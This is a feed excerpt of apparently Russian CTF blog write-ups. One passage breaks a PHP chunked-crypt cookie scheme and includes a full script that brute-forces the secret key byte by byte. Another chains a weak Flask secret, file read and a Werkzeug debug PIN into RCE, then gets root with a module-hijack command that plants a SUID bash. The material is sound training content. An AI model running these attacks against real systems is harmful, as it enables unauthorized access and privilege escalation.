    $SALT=generatesalt(2);
    $secure_cookie_string = $user.&quot;:&quot;.$_SERVER[&#x27;HTTP_USER_AGENT&#x27;].&quot;:&quot;.$ENC_SECRET_KEY; 
    $secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
    setcookie(&quot;secure_cookie&quot;,$secure_cookie,time()+3600,&#x27;/&#x27;,&#x27;&#x27;,false);
    setcookie(&quot;user&quot;,&quot;$user&quot;,time()+3600,&#x27;/&#x27;,&#x27;&#x27;,false);
}</pre>
  <p id="39AG">По сути говоря, это main данного кода – именно эта функция отвечает за вызов генерации и назначения куки новым пользователям:</p>
  <p id="bNou"><code>$SALT=generatesalt(2);</code> генерирует соль размером в 2 символа, понять это можно по коду функции generatesalt();</p>
  <pre id="MUki">function generatesalt($n) {
$randomString=&#x27;&#x27;;
$characters = &#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#x27;;
for ($i = 0; $i &lt; $n; $i++) {
    $index = rand(0, strlen($characters) - 1);
    $randomString .= $characters[$index];
}</pre>
  <p id="BLyW"><code>$secure_cookie_string</code> составляет строку по принципу <code>user:user_agent:&lt;secret_key&gt;</code>. При этом <strong>user</strong> берется из присвоенной ранее куки <strong>user</strong>, а ключ нам <strong>неизвестен</strong>. </p>
  <p id="K075"><code>$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);</code> вызывает функцию make_secure_cookie() c собранной ранее строкой и сгенерированной солью. Код функции:</p>
  <pre id="VkRj">function make_secure_cookie($text,$SALT) {
$secure_cookie=&#x27;&#x27;;
foreach ( str_split($text,8) as $el ) {
    $secure_cookie .= cryptstring($el,$SALT);
}</pre>
  <p id="wI96">Видно, что полученная строка разбивается на чанки по 8 символов, после чего эти чанки вместе с солью передаются в cryptstring():</p>
  <pre id="Z8wg">function cryptstring($what,$SALT){
return crypt($what,$SALT);
}</pre>
  <blockquote id="2t1r">Функция <code>crypt</code> используется для хеширования строки с использованием определённого алгоритма и соли (salt). Она возвращает хешированную строку, которая обычно используется для безопасного хранения паролей.</blockquote>
  <p id="4mQL">После всех этих процедур строка складывается воедино и отдается пользователю заголовком <strong>Set-Cookie</strong>. </p>
  <p id="E4q7">Далее – verify_cookie():</p>
  <pre id="5vnZ">function verify_cookie($ENC_SECRET_KEY){
    $crypted_cookie=$_COOKIE[&#x27;secure_cookie&#x27;];
    $user=$_COOKIE[&#x27;user&#x27;];
    $string=$user.&quot;:&quot;.$_SERVER[&#x27;HTTP_USER_AGENT&#x27;].&quot;:&quot;.$ENC_SECRET_KEY;

    $salt=substr($_COOKIE[&#x27;secure_cookie&#x27;],0,2); 

    if(make_secure_cookie($string,$salt)===$crypted_cookie) {
        return true;
    } else {
        return false;
    }
}</pre>
  <p id="KmEN">Извлекаются куки <strong>secure_cookie</strong> и <strong>user</strong>, затем с использованием юзер-агента, куки <strong>user</strong> и <strong>enc_secret_key</strong> собирается <strong>$string</strong>, после чего из $string извлекается соль, с использованием этой соли генерируется &quot;валидная&quot; кука и сравнивается с той, которая хранится в системе у пользователя. Таким образом: </p>
  <blockquote id="chIF">1. При посещении страницы назначаются куки user и secure_cookie<br />2. user по умолчанию – guest, generate_cookie() запускает цепочку действий:<br />    1. Генерируется двухсимвольная соль<br />    2. Формируется строка user:user_agent:&lt;enc_key&gt; <br />    3. Полученная строка разбивается на чанки по 8 символов<br />    4. Каждый чанк шифруется солью в функции cryptstring(), она же crypt()<br />    5. Хешированные чанки конкатенируются и возвращаются в Set-Cookie<br />3. При валидации куки сервер извлекает из secure_cookie подстроку – соль<br />4. При помощи извлеченной подстроки и куки user генерируется &quot;валидная&quot; кука, которая затем сравнивается с той, которая хранится у пользователя в session_cookie</blockquote>
  <p id="6mjv">Таким образом, генерация &quot;валидной&quot; куки происходит на &quot;фронте&quot; – с использованием подконтрольных нам данных и неизвестного нам секретного ключа.</p>
  <p id="A0Er">Для эксплуатации запросим новую secure_cookie и посмотрим, где расположены хешированные чанки: </p>
  <pre id="Tmgc">secure_cookie=iCRBzB77Hs5CIiCn5Awl7w6rFwiCERGwsGetCzIiCk7o1dhvzXFEiCjjU3kvjir66iCqMY9s22hA/siCmjKeKIZ8uW2iCE0IRfzX3s1MiC8UC6cyvBsUUiC.W3XniZbRq2iCbjEnILfizzgiCuspukSJQ616iCZ9nywsbfTtEiC70927kGV93kiCHPE/fjDq0KAiC3GLgwqvJXUIiCtoWhqzJ798EiCIZs9qkvj.uwiCikZDtBKqSwwiCzsjugR4qiFwiCA1SyVNVUReMiCQ3AZa</pre>
  <p id="n76N">Мы знаем, что соль – первые два символа. Таким образом можно вычленить все чанки имеющейся куки: </p>
  <figure id="5Smw" class="m_column">
    <img src="https://img4.teletype.in/files/78/80/7880f9ce-8247-4b44-8d78-8e2b6e972893.png" width="4504" />
    <figcaption>hashed chuncs</figcaption>
  </figure>
  <p id="qmhJ">При этом посмотреть на чанки перед хешированием можно при помощи следующего скрипта: </p>
  <pre id="P91c">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] cat generator.php 
&lt;?php
$string = &#x27;guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:&lt;secret_key&gt;&#x27;;
foreach (str_split($string, 8) as $el) {
echo $el.&quot;\n&quot;;
}
?&gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:&lt;se
cret_key
&gt;</pre>
  <p id="SGPa">Аналогично для хешированных чанков:</p>
  <pre id="4ufg">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:07]
└─[0] cat generator.php
&lt;?php
$salt = &#x27;iC&#x27;;
$string = &#x27;guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:&lt;secret_key&gt;&#x27;;
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt).&quot;\n&quot;;
}
?&gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:10]
└─[0] php generator.php
iCRBzB77Hs5CI
iCn5Awl7w6rFw
iCERGwsGetCzI
iCk7o1dhvzXFE
iCjjU3kvjir66
iCqMY9s22hA/s
iCmjKeKIZ8uW2
iCE0IRfzX3s1M
iC8UC6cyvBsUU
iCLXGAf95OnrA
iCKZQ6AfAA.wg
iCdfLie1MKVE2</pre>
  <blockquote id="UBzv"><strong>Уязвимость можно увидеть на 4 этапе работы скрипта – первый чанк содержит в себе юзернейм и кусочек юзер-агента, при этом и то, и другое подконтрольно пользователю, таким образом, зная соль, мы можем изменить только первый чанк и оставить все неизвестные части нетронутыми, включая хешированный encryption_secret.   </strong></blockquote>
  <p id="KNoT">Для эксплуатации первого этапа нам нужно подменить первый чанк на &quot;вредоносный&quot; – содержащий в себе юзернейм админа. Для этого немного отредактируем скрипт:</p>
  <pre id="QCCP">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:22]
└─[0] cat generator.php            
&lt;?php
$salt = &#x27;iC&#x27;;
$string = &#x27;admin:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:&lt;secret_key&gt;&#x27;;
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt).&quot;\n&quot;;
}
?&gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:24]
└─[0] php generator.php | head -n 1
iCjrMyPrACzWM</pre>
  <p id="wDfm">Возвращаемся на веб-сервер: </p>
  <figure id="rPbP" class="m_column">
    <img src="https://img4.teletype.in/files/fd/fc/fdfcffdf-348c-487c-a2ff-0bfed1e2cf46.png" width="3616" />
    <figcaption>web-server 1</figcaption>
  </figure>
  <p id="8U5H">И заменяем первый чанк исходной куки на полученный на предыдущем этапе, а значение куки <strong>user</strong> меняем на <strong>admin</strong>:</p>
  <figure id="TKZv" class="m_column">
    <img src="https://img3.teletype.in/files/e0/62/e062c99d-a27b-4eb5-a294-8dee852f7ba9.jpeg" width="3626" />
  </figure>
  <p id="b39z">Теперь, сервер извлечет из куки user значение <code>admin</code> и выполнит проверку с солью <code>iC</code>, а сгенерированная в результате кука ничем не будет отличаться от нашей.</p>
  <p id="H87n">Далее нам предлагают узнать значение секретного ключа, для выполнения этой задачи потребуется вспомнить, как именно работает алгоритм хеширования чанков:</p>
  <pre id="LIwg">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:&lt;se
cret_key
&gt;</pre>
  <p id="0qRI">Как мы помним, собранная строка разбивается на чанки по 8 символов и в самый первый чанк попадает 2 символа юзер-агента, который нам подконтролен. А что будет, если отправить запрос с пустым юзер-агентом? Модифицируем скрипт:</p>
  <pre id="YuOj">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:34]
└─[0] cat generator.php  
&lt;?php
$salt = &#x27;iC&#x27;;
$string = &#x27;admin::&lt;secret_key&gt;&#x27;;
foreach (str_split($string, 8) as $el) {
echo $el.&quot;\n&quot;;
}
?&gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:36]
└─[0] php generator.php            
admin::&lt;
secret_k
ey&gt;</pre>
  <p id="q2Pc">Видим, что в первом чанке теперь <em>юзернейм, два двоеточия и последний символ  принадлежит неизвестному секретному ключу</em>, что дает нам возможность перебрать всевозможные символы алфавита и сравнить хешированные чанки – совпадение будет означать, что мы нашли нужный символ</p>
  <p id="VG3Q"><strong>Таким образом наш план действий: </strong></p>
  <ol id="lpdd">
    <li id="Deoz">Отправить запрос с пустым юзер-агентом и получить новую куку</li>
    <li id="Iul3">Вычленить из нее первый чанк</li>
    <li id="TBZv">Мы знаем, что в этом чанке хранится юзернейм и один символ секретного ключа</li>
    <li id="eG5c">Локально хешируем чанк admin::&lt;symbol&gt; до тех пор, пока не получим такой же чанк, как в куке</li>
    <li id="POiI">После получения этого символа, мы целиком заполним первый чанк и следующий символ подобрать не сможем</li>
    <li id="lFf8">Просчитаем паддинг второго чанка так, чтобы снова остался только 1 символ</li>
    <li id="1Cc3">Повторить процедуру до получения полного секрета</li>
  </ol>
  <p id="9KCL">Шаг 1. Получили куку</p>
  <figure id="gTz0" class="m_column">
    <img src="https://img1.teletype.in/files/44/2e/442ed8fe-bb70-48ca-b10e-2292d70c7aa1.png" width="3616" />
    <figcaption>empty user agent</figcaption>
  </figure>
  <p id="5WdS">Шаг 2. Первый чанк</p>
  <figure id="2pKE" class="m_column">
    <img src="https://img2.teletype.in/files/93/92/93924a3e-b1ae-4351-9b23-12d0cc88c76f.png" width="4486" />
    <figcaption>chunk 1</figcaption>
  </figure>
  <p id="XBzh">Шаг 3. Перебор хешей. Первый символ флага – T, поскольку мы получили полное совпадение нашего хеша чанка с исходным</p>
  <pre id="ksgz">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:44]
└─[0] cat brute.php    
&lt;?php
$salt = &#x27;fw&#x27;;
$characters = &#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#x27;;

foreach (str_split($characters) as $char) {
    $string = &quot;guest::$char&quot;;
    foreach (str_split($string, 8) as $el) {
        echo $el . &quot;::&quot; . crypt($el, $salt) . &quot;\n&quot;;
    }
}
?&gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:48]
└─[0] php brute.php | grep fw1OtzoFC4VJM
guest::T::fw1OtzoFC4VJM</pre>
  <p id="yfPF">Уже на этом этапе стало понятно, что перебор такого вручную займет достаточно продолжительное время. Автоматизация и дебаг наше все. </p>
  <pre id="0goA">&lt;?php

$target_url = &quot;http://crypto.thm/&quot;;

$charset = &#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&amp;*)(_-=+&#x27;;
$user_agent = str_repeat(&quot;A&quot;, 256);
$known_prefix = &quot;guest:&quot; . $user_agent . &quot;:&quot;;
$test_string = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $context = stream_context_create([
        &quot;http&quot; =&gt; [
            &quot;method&quot; =&gt; &quot;GET&quot;,
            &quot;header&quot; =&gt;
                &quot;Host: crypto.thm\r\n&quot; .
                &quot;User-Agent: $user_agent\r\n&quot; .
                &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n&quot; .
                &quot;Accept-Language: en-US,en;q=0.5\r\n&quot; .
                &quot;Accept-Encoding: gzip, deflate, br\r\n&quot; .
                &quot;Connection: close\r\n&quot; .
                &quot;Upgrade-Insecure-Requests: 1\r\n&quot;
        ]
    ]);

    $response = file_get_contents($target_url, false, $context);

    foreach ($http_response_header as $header) {
        if (stripos($header, &quot;Set-Cookie: secure_cookie=&quot;) !== false) {
            preg_match(&#x27;/secure_cookie=([^;]+)/&#x27;, $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match(&#x27;/%[0-9A-Fa-f]{2}/&#x27;, $decoded_cookie)) {
                die(&quot;URL-encoded characters detected in secure_cookie!\n&quot;);
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = &quot;&quot;;
while (true) {
    echo &quot;\nCurrent key: {$found_text}\n&quot;;

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat(&quot;A&quot;, strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die(&quot;Failed to retrieve secure_cookie!\n&quot;);
    }

    echo &quot;Retrieved (Decoded) secure_cookie: $secure_cookie\n&quot;;

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $test_string_temp = substr($test_string, 1) . $char;
        print($test_string_temp . &quot;\n&quot;);

        $hashed_test = crypt($test_string_temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo &quot;Found character: $char\n&quot;;
            $found_text .= $char;
            $test_string = $test_string_temp;
            echo $test_string . &quot;\n&quot;;
            echo $hashed_test . &quot;\n&quot;;
            break;
        }
    }
}

?&gt;</pre>
  <p id="53GS">Подождав несколько минут, успешно сдампим 154-символьный флаг:/</p>
  <figure id="9pKq" class="m_column">
    <img src="https://img2.teletype.in/files/91/ca/91ca3cf6-eeaa-445f-aa6e-89559adfe4ee.png" width="2124" />
    <figcaption>flag dump</figcaption>
  </figure>
  <p id="KXMs">P.S.: я практически уверен, что это можно реализовать проще и в меньшее количество строк кода. Но оно работает!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/QkhtO1RBZ0E</guid><link>https://teletype.in/@collapsz/QkhtO1RBZ0E?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/QkhtO1RBZ0E?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>Django Unchained | Building a chain</title><pubDate>Mon, 09 Dec 2024 13:03:50 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/bf/01/bf0150e3-4a52-4b03-8358-fa88002423e5.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/f8/d5/f8d503be-1971-4bb9-ab88-82ed83f41865.png"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="XWil">@fefuctf @collapsz</p>
  <hr />
  <figure id="fFsG" class="m_column">
    <img src="https://img4.teletype.in/files/f8/d5/f8d503be-1971-4bb9-ab88-82ed83f41865.png" width="1820" />
  </figure>
  <h2 id="Ypvg">Вступление</h2>
  <p id="ovKk">Всем привет! </p>
  <p id="zi9d">Совсем недавно завершился чемпионат России по программированию систем информационной безопасности, ребята показали крутые результаты и классно выступили. </p>
  <p id="wbXM">Мы же в сегодняшнем материале разберем одно из заданий, которое мне довелось подготовить. Относится оно к категории Pentest и за время соревнований поддалось лишь трем командам.</p>
  <p id="ICMd">Помчали. </p>
  <hr />
  <h2 id="6lCh">Решение</h2>
  <p id="gcH1">В описании к задаче дан IP и порт, сканировать тут нечего, поэтому сразу двигаем на веб</p>
  <figure id="QpLs" class="m_column">
    <img src="https://img3.teletype.in/files/e4/b4/e4b42270-3c92-403c-bf07-c4f4d751679e.png" width="3554" />
    <figcaption>screenshot 1</figcaption>
  </figure>
  <p id="vuTj">Написано оно на пайтоне </p>
  <figure id="L4G0" class="m_column">
    <img src="https://img2.teletype.in/files/19/cc/19cc612d-b981-4524-a4c9-e1ca88b1a92b.png" width="2232" />
    <figcaption>screenshot 2</figcaption>
  </figure>
  <p id="AIGN">Проходим несложную регистрацию и получаем доступ к функционалу приложения – генератор паролей и случайных числ.</p>
  <figure id="NJlR" class="m_column">
    <img src="https://img3.teletype.in/files/65/70/6570ac82-5819-4a5a-a971-e9724bf917e9.png" width="3600" />
    <figcaption>screenshot 3</figcaption>
  </figure>
  <figure id="o4V8" class="m_column">
    <img src="https://img3.teletype.in/files/29/7b/297be576-a1cf-44d8-83fa-6540551d0b93.png" width="3598" />
    <figcaption>Random number </figcaption>
  </figure>
  <figure id="lESU" class="m_column">
    <img src="https://img4.teletype.in/files/71/1a/711a8d16-c575-4940-8fe6-fa8826d0bb87.png" width="3600" />
    <figcaption>password</figcaption>
  </figure>
  <p id="pzhc">Негусто. Однако помимо доступов к приложению нам была присвоена сессионная кука</p>
  <figure id="XAOO" class="m_column">
    <img src="https://img3.teletype.in/files/a7/19/a719d745-9096-4269-b65f-00b2d8d16095.png" width="3174" />
    <figcaption>Screnshot 6</figcaption>
  </figure>
  <p id="H6oU">И кука эта оказалась защищена слабым секретом, который успешно сбрутился при помощи модуля flask_unsign. Секретом оказался <strong>manchester.</strong></p>
  <blockquote id="lAjk">Секрет – текстовая строка, известная серверу, при помощи которой происходит подпись cookie. Именно с использованием него сервер расшифровывает и проверяет валидность куки. Утечка или слабый секрет могут привести к получению несанкционированого доступа к функционалу приложения, что и произошло в этом задании. </blockquote>
  <p id="9epG">Кука содержит в себе юзернейм, юзер-айди и булеан параметр id_vip_user, коим мы не являемся</p>
  <figure id="uI1f" class="m_column">
    <img src="https://img4.teletype.in/files/30/a1/30a12818-61f9-4465-9500-5aca2354e85f.png" width="3120" />
    <figcaption>Screenshot 7</figcaption>
  </figure>
  <p id="4XGi">Однако, имея секрет, мы можем создать и подписать куку, положив туда свои данные. Делается это при помощи все того же flask_unsign:</p>
  <pre id="x1iI">python3 -m flask_unsign --sign --secret manchester -c &lt;data&gt; </pre>
  <p id="BFeu">Подписываем, вставляем в браузер и получаем доступ к новому функционалу приложения – to-do листу и Kittys&#x27;s gallery </p>
  <figure id="OKjv" class="m_column">
    <img src="https://img2.teletype.in/files/9f/76/9f767106-d400-47b1-9a00-3d5c26506d51.png" width="3600" />
    <figcaption>Screenshot 8</figcaption>
  </figure>
  <p id="AJ9h">To-do в себе чего-то интересного не содержит </p>
  <figure id="ngjU" class="m_column">
    <img src="https://img4.teletype.in/files/ff/90/ff9002fb-252d-4835-9c32-f190ca7d812f.png" width="3600" />
    <figcaption>Screenshot 8</figcaption>
  </figure>
  <p id="M4Mz">А Kitty&#x27;s gallery содержит в себе фото котят. Не соврали в названии, выходит </p>
  <figure id="rp16" class="m_column">
    <img src="https://img1.teletype.in/files/cf/7f/cf7f02cf-8157-4a0c-8be2-5f0d3f0cbaef.png" width="3600" />
    <figcaption>Screenshot 9</figcaption>
  </figure>
  <p id="3kH9">Но интересны здесь не столько сами котята, сколько обращение к апи при подгрузке станицы:</p>
  <figure id="Bqa0" class="m_column">
    <img src="https://img4.teletype.in/files/bd/dc/bddca3b7-e044-4b62-b564-002acd886bdd.png" width="3600" />
    <figcaption>Screenshot 10</figcaption>
  </figure>
  <figure id="HnHI" class="m_column">
    <img src="https://img3.teletype.in/files/2d/4e/2d4ebc2d-ba89-4a05-8a51-e8ed8b59941e.png" width="3596" />
    <figcaption>Screenshot 11</figcaption>
  </figure>
  <figure id="JOiw" class="m_column">
    <img src="https://img1.teletype.in/files/45/f8/45f8a122-f824-46bc-ae5b-1c054a712e49.png" width="2882" />
    <figcaption>Screenshot 12</figcaption>
  </figure>
  <p id="BKJE">Еще и v2. А что если понизить версию до v1? В таком случае api требует некий параметр file:</p>
  <figure id="XoWD" class="m_column">
    <img src="https://img1.teletype.in/files/05/4d/054dba20-f642-42b2-9055-97cbc9766f05.png" width="2884" />
    <figcaption>Screenshot 13</figcaption>
  </figure>
  <p id="XVpM">И здесь мы получаем Arbitrary File Read: </p>
  <figure id="Qr4W" class="m_column">
    <img src="https://img2.teletype.in/files/99/30/99303b48-7748-499b-9516-8da9b4a4fab4.png" width="2876" />
    <figcaption>Screenshot 14</figcaption>
  </figure>
  <p id="yOZf">Но что делать дальше? SSH на машине не запущен, никаких паролей учетных записей мы не находили, как добраться до заветного RCE?</p>
  <p id="Jajo">На хабре есть крутой <a href="https://habr.com/ru/articles/738238/" target="_blank">материал</a> о том, как можно раскрутить AFR до RCE используя алгоритм генерации debug pin, к этому способу мы и прибегнем. Полностью дублировать статью я не буду, ознакомиться с ней детально можно по ссылке выше, но вкратце вот, что нам нужно собрать:</p>
  <ul id="a5Qc">
    <li id="Hbtj">username –&gt; /etc/passwd</li>
    <li id="oVfW">modname –&gt; flask.app by default</li>
    <li id="uLYI">flask path –&gt; можно найти, вызвав ошибку в приложении. Например, попытаться прочитать /etc/shadow</li>
    <li id="1TuT">MAC –&gt; /sys/class/net/eth0/address</li>
    <li id="IFHi">machine id –&gt; /etc/machineid + /proc/self/cgroup</li>
  </ul>
  <p id="DiQT">Собрав все необходимые данные, клонируем себе Werkzeuger и запускаем генерацию пина на основе имеющихся данных: </p>
  <figure id="6215" class="m_column">
    <img src="https://img3.teletype.in/files/60/24/60241e35-d7ac-4f2c-9e4e-79e7aa263e13.png" width="3600" />
    <figcaption>Screenshot 15</figcaption>
  </figure>
  <p id="V70L">В результате работы скрипта получаем несколько пинов:</p>
  <figure id="LcZR" class="m_column">
    <img src="https://img2.teletype.in/files/15/f7/15f7cd0b-f071-469c-8d75-11c64bc96de9.png" width="3586" />
    <figcaption>Screenshot 16</figcaption>
  </figure>
  <p id="SFOA">Прежде чем перейти дальше, нужно разобраться с ошибкой:</p>
  <figure id="5cIm" class="m_column">
    <img src="https://img1.teletype.in/files/0a/ed/0aed55dd-cd47-42ec-a0f4-2c757a40ce3f.png" width="3600" />
    <figcaption>Screenshot 17</figcaption>
  </figure>
  <p id="3Rk0">Многие писали с вопросом &quot;а работает ли приложение? там 400 ответ на /console&quot;. Приложение работает, а 400 ошибка связана с небольшой особенностью debug режима во фласке. Чтобы победить этот этап просто подменяем заголовок Host с IP на localhost:</p>
  <figure id="jllf" class="m_column">
    <img src="https://img3.teletype.in/files/ef/cf/efcf162e-d098-4fd0-8b33-fba177cba16d.png" width="2880" />
    <figcaption>Screenshot 18</figcaption>
  </figure>
  <p id="8rKX">И здесь, наконец, получаем то заветное RCE:</p>
  <figure id="hPlm" class="m_column">
    <img src="https://img3.teletype.in/files/e4/bc/e4bc549c-2ccb-46ab-8d36-3ce00471b91e.png" width="2870" />
    <figcaption>Screenshot 19</figcaption>
  </figure>
  <p id="65SD">Пробрасываем себе шелл любым <s>удобным</s> рабочим способом и оказываемся в системе:</p>
  <figure id="s77G" class="m_column">
    <img src="https://img1.teletype.in/files/82/9e/829ed9bb-1a4a-4c17-a452-7b4155e21359.png" width="1304" />
    <figcaption>Screenshot 20</figcaption>
  </figure>
  <p id="jksz">Мы находимся под пользователем app, осталось всего-то повыситься до root =) </p>
  <p id="GVb6">После перечисления ресурсов системы, с поиском вектора повышения могло повезти, а могло не повезти. Гарантированный способ увидеть что-то неладное – мониторинг процессов при помощи pspy:</p>
  <figure id="DAz9" class="m_column">
    <img src="https://img1.teletype.in/files/86/d2/86d2b580-939a-49b8-bb9a-dd8bd679af95.png" width="2370" />
    <figcaption>Screenshot 20</figcaption>
  </figure>
  <p id="DVDn">Раз в три минуты запускается некий скрипт <em>/root/healthcheck.sh</em>, похожую директорию можно было найти в /<em>opt</em>. А подождав еще немного, можно было увидеть, как от имени рута выполняется <em>rm-rf</em> по директории <em>/opt/healthcheck/*</em>, после чего туда записывается и выполняется какой-то скрипт, после чего снова <em>rm -rf /opt/healthcheck/*</em>. </p>
  <p id="EoUD">Поймать тайминг и прочитать скрипт – наша первичная цель:</p>
  <figure id="NfeN" class="m_column">
    <img src="https://img4.teletype.in/files/b5/fc/b5fcf3ea-a846-4463-b626-3b59e7663d48.png" width="1798" />
    <figcaption>Screenshot 21</figcaption>
  </figure>
  <p id="uZk4">Скрипт безобиден и просто собирает информацию о состоянии системы, однако можно увидеть, что он импортирует 4 сторонних модуля и <strong>выполняется от имени рута.</strong> А права-то на директорию у нас<strong> rwx. </strong></p>
  <blockquote id="4ncX">Python берет модули из определенного набора директорий, начиная с текущей, поэтому права 777 на неё – недопустимая конфигурация. Таким образом, нашла задача поймать первый rm -rf, дождаться записи скрипта и подложить к нему свой, вредоносный – к примеру, psutils.py. </blockquote>
  <p id="G29e">Дожидаемся очередную итерацию крона и пишем скрипт:</p>
  <pre id="pRdu">echo &quot;import os; os.system(&#x27;cp /bin/bash /tmp/bash &amp;&amp; chmod +s /tmp/bash&#x27;)&quot; &gt; /opt/healthcheck/psutil.py</pre>
  <p id="H6uJ">Скрипт healthcheck.py отработает с ошибкой, но подарит нам бинарник bash, принадлежащий руту и повесит на него SUID.</p>
  <blockquote id="MHVt">SUID-бит – конфигурация прав в *nix, позволяющая запускать файл, на котором он установлен, с правами владельца этого файла. Если владелец root – с правами root, пользователь app – с правами app.</blockquote>
  <p id="tNMV">Дожидаемся, проверяем, запускаем.</p>
  <figure id="Brz8" class="m_column">
    <img src="https://img2.teletype.in/files/d8/a6/d8a61923-3a0c-4997-bc2d-92555f9dac32.jpeg" width="1280" />
    <figcaption>Screenshot 22</figcaption>
  </figure>
  <h2 id="cg5T">Заключение</h2>
  <p id="Ai3Q">На этом сегодняшнее чтиво с большим количеством картинок подходит к концу. Shoutout to @anodev за его First Blood на этой машинке, а так же к ребятам из ИТМО, которые сделали это ровно на две минуты позже. Ваша гонка на этой машине была незабываемой =)</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/zzdwqY8Cvsy</guid><link>https://teletype.in/@collapsz/zzdwqY8Cvsy?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/zzdwqY8Cvsy?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>Konstrukt | Web | CTF Cup Russia</title><pubDate>Sun, 27 Oct 2024 18:03:41 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/f3/9e/f39e4d68-5300-472e-8d53-087a4bc2e14c.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/6a/7d/6a7d549f-1435-43e3-b520-4e416888bac9.jpeg"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="fY4t">@fefuctf @collapsz</p>
  <hr />
  <h2 id="SMgQ">Вступление</h2>
  <p id="ta0v">Всем привет! </p>
  <p id="tois">27 октября завершился VIII Кубок CTF России, по результатам которого наша команда заняла 7 место. В сегодняшнем материале я хотел бы разобрать одну интересную цепочку, которую нам удалось реализовать в ходе решения задания Konstrukt вместе с @anodev. </p>
  <p id="phjV">Ставим одноименный трек на фон и помчали!</p>
  <h2 id="IFPt">Решение</h2>
  <p id="C0qz">В задании нам даются все файлы приложения и возможность создать себе инстанс для решения (в рамках статьи решать будем на локальном инстансе). </p>
  <figure id="6nXN" class="m_column">
    <img src="https://img4.teletype.in/files/39/d2/39d29b5a-e76b-4f74-99cd-223e4c3a4d4b.png" width="1478" />
    <figcaption>Whitebox</figcaption>
  </figure>
  <p id="h4qs">Бегло пробежавшись по исходным файлам, мы подметили наличие скрипта bot.js, ненавязчиво намекающего, что у нас тут какой-то client-side. </p>
  <figure id="nh2u" class="m_column">
    <img src="https://img1.teletype.in/files/8c/ae/8cae13e8-6a8a-4179-8e3e-77ff5a7b9b09.png" width="2110" />
    <figcaption>bot.js</figcaption>
  </figure>
  <p id="wvgZ">В остальном ничего интересного мы не нашли и отправились изучать веб-интерфейс приложения. А там у нас ничто иное как конструктор веб-сайтов с поддержкой <strong>Markdown</strong> и возможностью создавать страницы.</p>
  <figure id="9zdG" class="m_column">
    <img src="https://img3.teletype.in/files/2c/9f/2c9f14a5-ba72-444e-b94f-6ac97577263d.png" width="3502" />
    <figcaption>home</figcaption>
  </figure>
  <p id="0oa2">Немного поигравшись с MD мы пришли к тому, что в никакой уязвимости в явном виде мы здесь не найдем и отправились копать глубже.</p>
  <figure id="wKAj" class="m_column">
    <img src="https://img3.teletype.in/files/a6/94/a6947dda-88f8-4e64-908b-0ca1a862db9b.png" width="1758" />
    <figcaption>Markdown </figcaption>
  </figure>
  <p id="feCZ">Мы начали с изучения веб-технологий, используемых веб-сайтом с в глаза сразу же бросилась библиотека jQuery версии 2.2.4 (актуальная версия – 3.7.1). Интересно.</p>
  <figure id="d78m" class="m_column">
    <img src="https://img1.teletype.in/files/84/27/8427f09a-171a-4126-863e-5b18dab2c459.png" width="2498" />
    <figcaption>jquery 2.2.4</figcaption>
  </figure>
